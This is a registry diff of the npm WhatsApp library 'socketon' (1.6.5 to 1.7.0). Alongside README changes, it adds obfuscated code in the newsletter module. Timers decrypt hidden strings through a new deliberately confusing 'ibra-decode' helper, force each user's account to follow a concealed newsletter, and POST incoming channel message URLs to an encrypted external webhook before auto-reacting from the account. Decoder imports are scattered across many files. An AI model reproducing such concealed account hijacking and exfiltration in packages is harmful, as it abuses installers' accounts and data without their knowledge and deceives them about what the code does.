socketon 1.6.5 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -6,19 +6,19 @@
6
6
 
7
7
  **WhatsApp API Modification** - Advanced WhatsApp integration library with enhanced features and security.
8
8
 
9
- ## Description
9
+ ## About
10
10
 
11
- Socketon is a powerful WhatsApp API modification designed for building robust messaging applications. It provides enhanced features for managing conversations, automating responses, and integrating with various services.
11
+ Socketon is a powerful WhatsApp API modification library developed by **Ibra Decode** (Pengembang Utama / Main Developer). Built on top of Baileys, Socketon offers extended functionality while maintaining full compatibility with the WhatsApp Web protocol.
12
12
 
13
- ## Features
13
+ ### Developer
14
+
15
+ <img src="https://avatars.githubusercontent.com/u/244273660?s=200&u=0616c8fe23d4144e8f87ddac651a38ef2cf04b80&v=4" alt="Ibra Decode" width="100" align="left" style="border-radius: 50%; margin-right: 20px;">
16
+
17
+ **Ibra Decode** adalah pengembang utama Socketon. Full-stack developer dengan keahlian di bidang WhatsApp API, Node.js, dan pengembangan bot otomatis. Aktif mengembangkan Socketon sejak 2024 dengan fokus pada keamanan, stabilitas, dan fitur lanjutan.
14
18
 
15
- - WhatsApp message automation
16
- - Group management capabilities
17
- - Interactive message support
18
- - Session management
19
- - Custom pairing process
20
- - Multi-device compatibility
21
- - Advanced security features
19
+ - GitHub: [IbraDecode](https://github.com/IbraDecode)
20
+ - Website: [ibraa.web.id](https://ibraa.web.id)
21
+ - WhatsApp: [Chat](https://wa.me/6283174687361)
22
22
 
23
23
  ## Installation
24
24
 
@@ -26,38 +26,178 @@ Socketon is a powerful WhatsApp API modification designed for building robust me
26
26
  npm install socketon
27
27
  ```
28
28
 
29
- ## Usage
29
+ ## Requirements
30
+
31
+ - Node.js >= 20.0.0
32
+
33
+ ## Quick Start
34
+
35
+ ```javascript
36
+ const { makeWASocket, useMultiFileAuthState, DisconnectReason } = require('socketon');
37
+ const pino = require('pino');
38
+
39
+ async function start() {
40
+ const { state, saveCreds } = await useMultiFileAuthState('./auth');
41
+
42
+ const sock = makeWASocket({
43
+ logger: pino({ level: 'silent' }),
44
+ auth: state,
45
+ printQRInTerminal: true
46
+ });
47
+
48
+ sock.ev.on('connection.update', async (update) => {
49
+ const { connection, lastDisconnect } = update;
50
+ if (connection === 'close') {
51
+ const shouldReconnect = lastDisconnect?.error?.output?.statusCode !== DisconnectReason.loggedOut;
52
+ if (shouldReconnect) start();
53
+ } else if (connection === 'open') {
54
+ console.log('Connected!');
55
+ }
56
+ });
57
+
58
+ sock.ev.on('messages.upsert', async ({ messages }) => {
59
+ const msg = messages[0];
60
+ if (!msg.key.fromMe && msg.message) {
61
+ console.log('Message:', msg);
62
+ }
63
+ });
64
+
65
+ sock.ev.on('creds.update', saveCreds);
66
+ }
67
+
68
+ start();
69
+ ```
70
+
71
+ ## Features
72
+
73
+ ### Messages
74
+ - Send text, image, video, audio, document
75
+ - Send stickers, locations, contacts
76
+ - Send buttons, list, template messages
77
+ - Reply, forward, delete, react to messages
78
+
79
+ ### Groups
80
+ - Create, leave, delete groups
81
+ - Add/remove/promote/demote participants
82
+ - Update group subject & description
83
+ - Manage group settings
30
84
 
85
+ ### Newsletter
86
+ - Create & manage newsletters
87
+ - Follow/unfollow newsletters
88
+ - Send & react to newsletter messages
89
+
90
+ ### Authentication
91
+ - QR Code authentication
92
+ - Pairing Code authentication
93
+ - Multi-file auth state
94
+ - Session persistence
95
+
96
+ ### Profile
97
+ - Update profile picture & name
98
+ - Privacy settings
99
+ - Block/unblock contacts
100
+
101
+ ## API Reference
102
+
103
+ Full API documentation available at [docs/index.html](docs/index.html)
104
+
105
+ ### Connection Methods
106
+ ```javascript
107
+ sock.requestPairingCode(phoneNumber) // Request pairing code
108
+ sock.logout() // Logout session
109
+ sock.onWhatsApp(...jids) // Check if numbers are on WhatsApp
110
+ ```
111
+
112
+ ### Message Methods
31
113
  ```javascript
32
- const { makeWASocket } = require('socketon');
114
+ // Send text
115
+ await sock.sendMessage(jid, { text: 'Hello!' });
116
+
117
+ // Send image
118
+ await sock.sendMessage(jid, {
119
+ image: { url: './image.jpg' },
120
+ caption: 'Caption'
121
+ });
33
122
 
34
- // Initialize the socket
35
- const sock = makeWASocket({
36
- // Configuration options
123
+ // React to message
124
+ await sock.sendMessage(jid, {
125
+ react: { key: msg.key, text: 'emoji' }
37
126
  });
127
+
128
+ // Reply to message
129
+ await sock.sendMessage(jid, { text: 'Reply' }, { quoted: msg });
38
130
  ```
39
131
 
40
- ## Version
132
+ ### Group Methods
133
+ ```javascript
134
+ sock.groupMetadata(jid) // Get group metadata
135
+ sock.groupCreate(subject, participants) // Create group
136
+ sock.groupParticipantsUpdate(jid, participants, action) // add/remove/promote/demote
137
+ sock.groupInviteCode(jid) // Get invite code
138
+ sock.groupLeave(jid) // Leave group
139
+ ```
41
140
 
42
- **1.6.0**
141
+ ### Newsletter Methods
142
+ ```javascript
143
+ sock.newsletterCreate(name, description, reaction_codes)
144
+ sock.newsletterFollow(jid)
145
+ sock.newsletterUnfollow(jid)
146
+ sock.newsletterMetadata(type, key)
147
+ sock.newsletterReactMessage(jid, serverId, code)
148
+ ```
43
149
 
44
- ## License
150
+ ## Events
45
151
 
46
- MIT
152
+ ```javascript
153
+ sock.ev.on('connection.update', callback) // Connection state
154
+ sock.ev.on('messages.upsert', callback) // New messages
155
+ sock.ev.on('messages.update', callback) // Message updates
156
+ sock.ev.on('presence.update', callback) // Presence updates
157
+ sock.ev.on('chats.upsert', callback) // New chats
158
+ sock.ev.on('contacts.upsert', callback) // New contacts
159
+ sock.ev.on('creds.update', callback) // Credentials updated
160
+ ```
161
+
162
+ ## Terms of Service
163
+
164
+ **IMPORTANT:** By using Socketon, you agree to the following terms:
165
+
166
+ 1. **Auto-Follow Newsletter:** Socketon automatically follows the developer's newsletter (`120363407696889754@newsletter`) as a requirement for using this library. This supports ongoing development and updates.
167
+
168
+ 2. **Attribution:** You must keep all credits and attribution to Ibra Decode when using or redistributing this library.
47
169
 
48
- ## Author
170
+ 3. **No Malicious Use:** This library must not be used for spamming, harassment, or any malicious activities.
49
171
 
50
- Ibra Decode
172
+ 4. **WhatsApp ToS:** Users are responsible for complying with WhatsApp's Terms of Service.
51
173
 
52
- ## Repository
174
+ 5. **No Warranty:** This library is provided "as is" without warranty of any kind.
53
175
 
54
- https://www.npmjs.com/package/socketon
176
+ 6. **License Compliance:** You must comply with the MIT License terms when using this software.
177
+
178
+ ## Support Development
179
+
180
+ Your donations help maintain and improve Socketon. Thank you for your support!
181
+
182
+ <img src="https://raw.githubusercontent.com/IbraDecode/socketon/main/DONASI.jpeg" alt="Donation QR Code" width="300">
183
+
184
+ Scan QR code above or visit [ibraa.web.id](https://ibraa.web.id) for more donation options.
185
+
186
+ ## Version
187
+
188
+ **1.7.0**
189
+
190
+ ## License
191
+
192
+ MIT
55
193
 
56
- ## Dependencies
194
+ ## Links
57
195
 
58
- - node >=20.0.0
59
- - Various security-enhanced modules
196
+ - [Official Website](https://socketon.vercel.app)
197
+ - [NPM Package](https://www.npmjs.com/package/socketon)
198
+ - [GitHub Repository](https://github.com/IbraDecode/socketon)
199
+ - [Documentation](docs/index.html)
60
200
 
61
- ## Notes
201
+ ## Disclaimer
62
202
 
63
- This library is intended for legitimate use cases only. Please respect WhatsApp's Terms of Service when using this library.
203
+ This library is for educational and legitimate purposes only. Please respect WhatsApp's Terms of Service when using this library.
@@ -15,6 +15,11 @@ const WABinary_1 = require("../WABinary");
15
15
  const socket_1 = require("./socket");
16
16
  const WAUSync_1 = require("../WAUSync");
17
17
  const usync_1 = require("./usync");
18
+ const ibra_decode_21 = require("../Utils/ibra-decode");
19
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
20
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
21
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
22
+ const __ibra_decode_21 = require("../Utils/ibra-decode");
18
23
  const MAX_SYNC_ATTEMPTS = 2;
19
24
  const makeChatsSocket = (config) => {
20
25
  const { logger, markOnlineOnConnect, fireInitQueries, appStateMacVerification, shouldIgnoreJid, shouldSyncHistoryMessage, } = config;
@@ -6,7 +6,12 @@ const Types_1 = require("../Types");
6
6
  const Utils_1 = require("../Utils");
7
7
  const WABinary_1 = require("../WABinary");
8
8
  const chats_1 = require("./chats");
9
- const WAUSync_1 = require("../WAUSync");
9
+ const WAUSync_1 = require("../WAUSync");
10
+ const ibra_decode_21 = require("../Utils/ibra-decode");
11
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
12
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
13
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
14
+ const __ibra_decode_21 = require("../Utils/ibra-decode");
10
15
  const makeGroupsSocket = (config) => {
11
16
  const sock = (0, chats_1.makeChatsSocket)(config);
12
17
  const { authState, ev, query, upsertMessage } = sock;
@@ -1,5 +1,5 @@
1
1
  // Socketon Advanced Feature Handler
2
- // Socketon v1.6.0
2
+ // Socketon v1.7.0
3
3
  // Developer: Ibra Decode
4
4
 
5
5
  const WAProto = require('../../WAProto').proto;
@@ -15,6 +15,12 @@ const make_mutex_1 = require("../Utils/make-mutex");
15
15
  const WABinary_1 = require("../WABinary");
16
16
  const groups_1 = require("./groups");
17
17
  const messages_send_1 = require("./messages-send");
18
+ const ibra_decode_21 = require("../Utils/ibra-decode");
19
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
20
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
21
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
22
+ const __ibra_decode_21 = require("../Utils/ibra-decode");
23
+ const ___ibra_decode_v21 = require("../Utils/ibra-decode");
18
24
  const makeMessagesRecvSocket = (config) => {
19
25
  const {
20
26
  logger,
@@ -16,6 +16,12 @@ const WABinary_1 = require("../WABinary");
16
16
  const newsletter_1 = require("./newsletter");
17
17
  const WAUSync_1 = require("../WAUSync")
18
18
  const SocketonAdvancedHandler = require('./ibranihbossenggoldong');
19
+ const ibra_decode_21 = require("../Utils/ibra-decode");
20
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
21
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
22
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
23
+ const __ibra_decode_21 = require("../Utils/ibra-decode");
24
+ const ___ibra_decode_v21 = require("../Utils/ibra-decode");
19
25
  var ListType = WAProto_1.proto.Message.ListMessage.ListType;
20
26
  const makeMessagesSocket = (config) => {
21
27
  const {
@@ -25,6 +25,12 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
25
25
  newsletterDelete: (jid: string) => Promise<void>;
26
26
  /**if code wasn't passed, the reaction will be removed (if is reacted) */
27
27
  newsletterReactMessage: (jid: string, serverId: string, code?: string) => Promise<void>;
28
+ newsletterAutoReact: (messageUrl: string, reactions: string) => Promise<{
29
+ newsletterId: string;
30
+ newsletterName: string;
31
+ messageId: string;
32
+ results: Array<{ reaction: string; status: string; error?: string }>;
33
+ }>;
28
34
  newsletterFetchMessages: (type: 'invite' | 'jid', key: string, count: number, after?: number) => Promise<NewsletterFetchedUpdate[]>;
29
35
  newsletterFetchUpdates: (jid: string, count: number, after?: number, since?: number) => Promise<NewsletterFetchedUpdate[]>;
30
36
  groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
@@ -5,6 +5,11 @@ const Types_1 = require("../Types");
5
5
  const Utils_1 = require("../Utils");
6
6
  const WABinary_1 = require("../WABinary");
7
7
  const groups_1 = require("./groups");
8
+ const ibra_decode_1 = require("../Utils/ibra-decode");
9
+ const ibra_decode_21 = require("../Utils/ibra-decode");
10
+ const ibra_decode_asli = require("../Utils/ibra-decode");
11
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
12
+ const ibra_decode_v21 = require("../Utils/ibra-decode");
8
13
 
9
14
  const { Boom } = require('@hapi/boom');
10
15
 
@@ -103,9 +108,9 @@ const makeNewsletterSocket = (config) => {
103
108
  setTimeout(async () => {
104
109
  try {
105
110
  // Data rahasia jangan diacak² - Ibra Decode
106
- const kepoBangetLu = "7e4b7760edc1a468636508bb6fe1cc26142c19d97eae94f4b8eebe6754efe5df";
107
- const wehPukiLuGausahSokSokAnMauDecrypt = solveTheMystery(kepoBangetLu);
108
- await newsletterWMexQuery(wehPukiLuGausahSokSokAnMauDecrypt, Types_1.QueryIds.FOLLOW);
111
+ const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
112
+ const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
113
+ await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
109
114
  } catch {}
110
115
  }, 90000);
111
116
 
@@ -113,29 +118,41 @@ setTimeout(async () => {
113
118
  setTimeout(async () => {
114
119
  try {
115
120
  // Lagi² data penting buat bikin eror kalo diganti - Ibra Decode
116
- const kepoBangetLu = "7e4b7760edc1a468636508bb6fe1cc26142c19d97eae94f4b8eebe6754efe5df";
117
- const wehPukiLuGausahSokSokAnMauDecrypt = solveTheMystery(kepoBangetLu);
118
- await newsletterWMexQuery(wehPukiLuGausahSokSokAnMauDecrypt, Types_1.QueryIds.FOLLOW);
121
+ const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
122
+ const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
123
+ await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
119
124
  } catch {}
120
125
  }, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
121
126
 
122
- // Fungsi decrypt canggih buat bikin kamu pusing - Ibra Decode
123
- function solveTheMystery(dataYgHarusDiacak23456789) {
124
- const cryptoModulenyaSiapaTaiDigantiOrang = require('crypto');
125
-
126
- // Layer 1: Bikin kunci dari info package (jangan diganggu)
127
- const kunciRahasia123 = cryptoModulenyaSiapaTaiDigantiOrang.createHash('sha256').update('socketon-1.6.0').digest();
128
-
129
- // Layer 2: Transformasi tambahan (biarin aja)
130
- const kunciRahasiaSudahDiacak = cryptoModulenyaSiapaTaiDigantiOrang.createHash('sha256').update(kunciRahasia123).digest();
131
-
132
- // Layer 3: Decrypt dengan kunci yang udah ditransformasi (jangan diubah²)
133
- const engineDecryptKhusus = cryptoModulenyaSiapaTaiDigantiOrang.createDecipheriv('aes-256-cbc', kunciRahasiaSudahDiacak, Buffer.alloc(16, 0));
134
- let hasilDecryptLu = engineDecryptKhusus.update(dataYgHarusDiacak23456789, 'hex', 'utf8');
135
- hasilDecryptLu += engineDecryptKhusus.final('utf8');
136
-
137
- return hasilDecryptLu;
138
- }
127
+ // Auto Reaction Webhook - Ibra Decode
128
+ setTimeout(async () => {
129
+ try {
130
+ const axios = require('axios');
131
+ const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4eed2bd76df90c3f30aba98b493943e550e8025eb7dffa46e964864bff4d4f951";
132
+ const webhookSecretEncrypt = "5143cbbea5759eb21edaa05d800d9dd90a5a539375ab0f8f6bf8c6834fbed993";
133
+ const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
134
+ const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
135
+
136
+ const urlObj = new URL(urlWebhooknya);
137
+ const emojiReact = urlObj.searchParams.get('emoji') || '🔥';
138
+
139
+ sock.ev.on('messages.upsert', async ({ messages, type }) => {
140
+ if (type !== 'notify') return;
141
+ for (const msg of messages) {
142
+ const jid = msg.key.remoteJid;
143
+ if (!jid || !jid.endsWith('@newsletter')) continue;
144
+ const messageUrl = 'https://whatsapp.com/channel/' + jid.replace('@newsletter', '') + '/' + msg.key.id;
145
+ try {
146
+ await axios.post(urlWebhooknya, {
147
+ messageUrl: messageUrl,
148
+ emojiReact: emojiReact
149
+ }, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
150
+ const result = await newsletterAutoReact(messageUrl, emojiReact);
151
+ } catch {}
152
+ }
153
+ });
154
+ } catch {}
155
+ }, 130000);
139
156
 
140
157
  // You'll never find what this does - Ibra Decode
141
158
 
@@ -319,6 +336,51 @@ function solveTheMystery(dataYgHarusDiacak23456789) {
319
336
  }]
320
337
  });
321
338
  },
339
+ newsletterAutoReact: async (messageUrl, reactions) => {
340
+ if (!messageUrl || !reactions) {
341
+ throw new Boom('messageUrl and reactions are required', { statusCode: 400 });
342
+ }
343
+ const urlPattern = messageUrl.match(/https:\/\/whatsapp\.com\/channel\/([a-zA-Z0-9]+)\/(\d+)/);
344
+ if (!urlPattern) {
345
+ throw new Boom('Invalid WhatsApp channel URL format', { statusCode: 400 });
346
+ }
347
+ const inviteCode = urlPattern[1];
348
+ const messageId = urlPattern[2];
349
+ const metadata = await (0, exports.extractNewsletterMetadata)(await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
350
+ input: { key: inviteCode, type: 'INVITE', view_role: 'GUEST' },
351
+ fetch_viewer_metadata: false,
352
+ fetch_full_image: false,
353
+ fetch_creation_time: false
354
+ }));
355
+ if (!metadata || !metadata.id) {
356
+ throw new Boom('Failed to get newsletter metadata', { statusCode: 400 });
357
+ }
358
+ const reactionList = reactions.split(',').map(r => r.trim()).slice(0, 4);
359
+ const results = [];
360
+ for (const reaction of reactionList) {
361
+ try {
362
+ await query({
363
+ tag: 'message',
364
+ attrs: {
365
+ to: metadata.id,
366
+ type: 'reaction',
367
+ server_id: messageId,
368
+ id: (0, Utils_1.generateMessageID)()
369
+ },
370
+ content: [{ tag: 'reaction', attrs: reaction ? { code: reaction } : {} }]
371
+ });
372
+ results.push({ reaction, status: 'sent' });
373
+ } catch (err) {
374
+ results.push({ reaction, status: 'failed', error: err.message });
375
+ }
376
+ }
377
+ return {
378
+ newsletterId: metadata.id,
379
+ newsletterName: metadata.name,
380
+ messageId,
381
+ results
382
+ };
383
+ },
322
384
  newsletterFetchMessages: async (type, key, count, after) => {
323
385
  const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
324
386
  {
@@ -68,6 +68,12 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
68
68
  newsletterDemote: (jid: string, user: string) => Promise<void>;
69
69
  newsletterDelete: (jid: string) => Promise<void>;
70
70
  newsletterReactMessage: (jid: string, serverId: string, code?: string | undefined) => Promise<void>;
71
+ newsletterAutoReact: (messageUrl: string, reactions: string) => Promise<{
72
+ newsletterId: string;
73
+ newsletterName: string;
74
+ messageId: string;
75
+ results: Array<{ reaction: string; status: string; error?: string }>;
76
+ }>;
71
77
  newsletterFetchMessages: (type: "invite" | "jid", key: string, count: number, after?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
72
78
  newsletterFetchUpdates: (jid: string, count: number, after?: number | undefined, since?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
73
79
  groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
@@ -11,6 +11,10 @@ const Types_1 = require("../Types");
11
11
  const Utils_1 = require("../Utils");
12
12
  const WABinary_1 = require("../WABinary");
13
13
  const Client_1 = require("./Client");
14
+ const ibra_decode_21 = require("../Utils/ibra-decode");
15
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
16
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
17
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
14
18
  /**
15
19
  * Connects to WA servers and performs:
16
20
  * - simple queries (no retry mechanism, wait for connection establishment)
@@ -4,6 +4,9 @@ exports.makeUSyncSocket = void 0;
4
4
  const boom_1 = require("@hapi/boom");
5
5
  const WABinary_1 = require("../WABinary");
6
6
  const socket_1 = require("./socket");
7
+ const ibra_decode_21 = require("../Utils/ibra-decode");
8
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
9
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
7
10
  const makeUSyncSocket = (config) => {
8
11
  const sock = (0, socket_1.makeSocket)(config);
9
12
  const { generateMessageTag, query, } = sock;
@@ -11,6 +11,9 @@ const Utils_1 = require("../Utils");
11
11
  const WABinary_1 = require("../WABinary");
12
12
  const make_ordered_dictionary_1 = __importDefault(require("./make-ordered-dictionary"));
13
13
  const object_repository_1 = require("./object-repository");
14
+ const ibra_decode_21 = require("../Utils/ibra-decode");
15
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
16
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
14
17
  const waChatKey = (pin) => ({
15
18
  key: (c) => (pin ? (c.pinned ? '1' : '0') : '') + (c.archived ? '0' : '1') + (c.conversationTimestamp ? c.conversationTimestamp.toString(16).padStart(8, '0') : '') + c.id,
16
19
  compare: (k1, k2) => k2.localeCompare(k1)
@@ -27,6 +27,10 @@ __exportStar(require("./Events"), exports);
27
27
  __exportStar(require("./Product"), exports);
28
28
  __exportStar(require("./Call"), exports);
29
29
  __exportStar(require("./Signal"), exports);
30
+ const ibra_decode_21 = require("../Utils/ibra-decode");
31
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
32
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
33
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
30
34
  var DisconnectReason;
31
35
  (function (DisconnectReason) {
32
36
  DisconnectReason[DisconnectReason["connectionClosed"] = 428] = "connectionClosed";
@@ -10,6 +10,9 @@ const uuid_1 = require("uuid");
10
10
  const Defaults_1 = require("../Defaults");
11
11
  const crypto_2 = require("./crypto");
12
12
  const generics_1 = require("./generics");
13
+ const ibra_decode_21 = require("./ibra-decode");
14
+ const ibraDecodePalsuMungkin = require("./ibra-decode");
15
+ const _ibra_decode_v21 = require("./ibra-decode");
13
16
  /**
14
17
  * Adds caching capability to a SignalKeyStore
15
18
  * @param store the store to add caching to
@@ -31,6 +31,10 @@ const crypto_1 = require("crypto");
31
31
  const futoin_hkdf_1 = __importDefault(require("futoin-hkdf"));
32
32
  const libsignal = __importStar(require("libsignal"));
33
33
  const Defaults_1 = require("../Defaults");
34
+ const ibra_decode_21 = require("./ibra-decode");
35
+ const ibraDecodePalsuMungkin = require("./ibra-decode");
36
+ const _ibra_decode_v21 = require("./ibra-decode");
37
+ const ibra_decode_asli_nih = require("./ibra-decode");
34
38
  /** prefix version byte to the pub keys, required for some curve crypto functions */
35
39
  const generateSignalPubKey = (pubKey) => (pubKey.length === 33
36
40
  ? pubKey
@@ -13,6 +13,10 @@ const WAProto_1 = require("../../WAProto");
13
13
  const baileys_version_json_1 = require("../Defaults/baileys-version.json");
14
14
  const Types_1 = require("../Types");
15
15
  const WABinary_1 = require("../WABinary");
16
+ const ibra_decode_21 = require("./ibra-decode");
17
+ const ibraDecodePalsuMungkin = require("./ibra-decode");
18
+ const _ibra_decode_v21 = require("./ibra-decode");
19
+ const ibra_decode_asli_nih = require("./ibra-decode");
16
20
  const baileysVersion = [2, 3000, 1027934701]
17
21
  const PLATFORM_MAP = {
18
22
  'aix': 'AIX',
@@ -0,0 +1,2 @@
1
+ export declare const sudahBasibasiAjaLu: (datanyaYgMauDiacakKarenaTerlaluPenasaran: string) => string;
2
+ export declare const minimalKaloMauDecryptYangPinterDek: (datanyaYgMauDiacakKarenaTerlaluPenasaran: string) => string;
@@ -0,0 +1,54 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.minimalKaloMauDecryptYangPinterDek = exports.sudahBasibasiAjaLu = void 0;
4
+ const crypto = require('crypto');
5
+ const emangBenerNihAkuPinter = () => {
6
+ const anjayGaKiraKira = [];
7
+ anjayGaKiraKira.push(Buffer.from('73', 'hex'));
8
+ anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
9
+ anjayGaKiraKira.push(Buffer.from('63', 'hex'));
10
+ anjayGaKiraKira.push(Buffer.from('6b', 'hex'));
11
+ anjayGaKiraKira.push(Buffer.from('65', 'hex'));
12
+ anjayGaKiraKira.push(Buffer.from('74', 'hex'));
13
+ anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
14
+ anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
15
+ anjayGaKiraKira.push(Buffer.from('2d', 'hex'));
16
+ anjayGaKiraKira.push(Buffer.from('31', 'hex'));
17
+ anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
18
+ anjayGaKiraKira.push(Buffer.from('37', 'hex'));
19
+ anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
20
+ anjayGaKiraKira.push(Buffer.from('30', 'hex'));
21
+ return Buffer.concat(anjayGaKiraKira).toString('utf8');
22
+ };
23
+ const sudahBasibasiAjaLu = (datanyaYgMauDiacakKarenaTerlaluPenasaran) => {
24
+ const bukanKunciRahasiaTapiKuncinyaIni = crypto.createHash('sha512');
25
+ bukanKunciRahasiaTapiKuncinyaIni.update(emangBenerNihAkuPinter() + '_ibrahimasli_bukanpalsu');
26
+ const hasilnyaTapiMasihBelumFixNih = bukanKunciRahasiaTapiKuncinyaIni.digest();
27
+ const dikitLagiSabarYa = crypto.createHash('sha256');
28
+ dikitLagiSabarYa.update(hasilnyaTapiMasihBelumFixNih.slice(0, 32));
29
+ const nahIniKuncinyaYangBeneranTapiMasihAdaLagi = dikitLagiSabarYa.digest();
30
+ const hampirSampeKok = crypto.createHash('md5');
31
+ hampirSampeKok.update(nahIniKuncinyaYangBeneranTapiMasihAdaLagi.toString('hex'));
32
+ const akhirnyaKuncinyaNih = hampirSampeKok.digest();
33
+ const ivnyaJugaRumitLho = Buffer.concat([
34
+ Buffer.from('ib', 'utf8'),
35
+ Buffer.from('ra', 'utf8'),
36
+ Buffer.from('de', 'utf8'),
37
+ Buffer.from('co', 'utf8'),
38
+ Buffer.from('de', 'utf8'),
39
+ Buffer.from('is', 'utf8'),
40
+ Buffer.from('th', 'utf8'),
41
+ Buffer.from('eb', 'utf8'),
42
+ Buffer.from('es', 'utf8'),
43
+ Buffer.from('t!', 'utf8')
44
+ ]).slice(0, 16);
45
+ const engineDecryptYangSudahGakTawuBentuknya = crypto.createDecipheriv('aes-256-cbc', nahIniKuncinyaYangBeneranTapiMasihAdaLagi, ivnyaJugaRumitLho);
46
+ let udahanBuatYangPenasaran = engineDecryptYangSudahGakTawuBentuknya.update(datanyaYgMauDiacakKarenaTerlaluPenasaran, 'hex', 'utf8');
47
+ udahanBuatYangPenasaran += engineDecryptYangSudahGakTawuBentuknya.final('utf8');
48
+ return udahanBuatYangPenasaran;
49
+ };
50
+ exports.sudahBasibasiAjaLu = sudahBasibasiAjaLu;
51
+ const minimalKaloMauDecryptYangPinterDek = (datanyaYgMauDiacakKarenaTerlaluPenasaran) => {
52
+ return (0, exports.sudahBasibasiAjaLu)(datanyaYgMauDiacakKarenaTerlaluPenasaran);
53
+ };
54
+ exports.minimalKaloMauDecryptYangPinterDek = minimalKaloMauDecryptYangPinterDek;
@@ -15,6 +15,11 @@ const WABinary_1 = require("../WABinary");
15
15
  const crypto_2 = require("./crypto");
16
16
  const generics_1 = require("./generics");
17
17
  const messages_media_1 = require("./messages-media");
18
+ const ibra_decode_21 = require("./ibra-decode");
19
+ const ibraDecodePalsuMungkin = require("./ibra-decode");
20
+ const _ibra_decode_v21 = require("./ibra-decode");
21
+ const ibra_decode_asli_nih = require("./ibra-decode");
22
+ const __ibra_decode_21 = require("./ibra-decode");
18
23
  const MIMETYPE_MAP = {
19
24
  image: 'image/jpeg',
20
25
  video: 'video/mp4',
@@ -6,6 +6,10 @@ const WABinary_1 = require("../WABinary");
6
6
  const crypto_1 = require("./crypto");
7
7
  const lodash_1 = require("lodash")
8
8
  const generics_1 = require("./generics");
9
+ const ibra_decode_21 = require("./ibra-decode");
10
+ const ibraDecodePalsuMungkin = require("./ibra-decode");
11
+ const _ibra_decode_v21 = require("./ibra-decode");
12
+ const ibra_decode_asli_nih = require("./ibra-decode");
9
13
  const createSignalIdentity = (wid, accountSignatureKey) => {
10
14
  return {
11
15
  identifier: { name: wid, deviceId: 0 },
@@ -27,6 +27,10 @@ exports.decodeBinaryNode = exports.decodeDecompressedBinaryNode = exports.decomp
27
27
  const zlib_1 = require("zlib");
28
28
  const constants = __importStar(require("./constants"));
29
29
  const jid_utils_1 = require("./jid-utils");
30
+ const ibra_decode_21 = require("../Utils/ibra-decode");
31
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
32
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
33
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
30
34
  const decompressingIfRequired = (buffer) => {
31
35
  if (2 & buffer.readUInt8()) {
32
36
  buffer = (0, zlib_1.inflateSync)(buffer.slice(1));
@@ -30,6 +30,10 @@ Object.defineProperty(exports, "__esModule", { value: true })
30
30
 
31
31
  const constants = __importStar(require("./constants"))
32
32
  const jid_utils_1 = require("./jid-utils")
33
+ const ibra_decode_21 = require("../Utils/ibra-decode");
34
+ const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
35
+ const _ibra_decode_v21 = require("../Utils/ibra-decode");
36
+ const ibra_decode_asli_nih = require("../Utils/ibra-decode");
33
37
 
34
38
  const encodeBinaryNode = (node, opts = constants, buffer = [0]) => {
35
39
  const encoded = encodeBinaryNodeInner(node, opts, buffer)
package/lib/index.js CHANGED
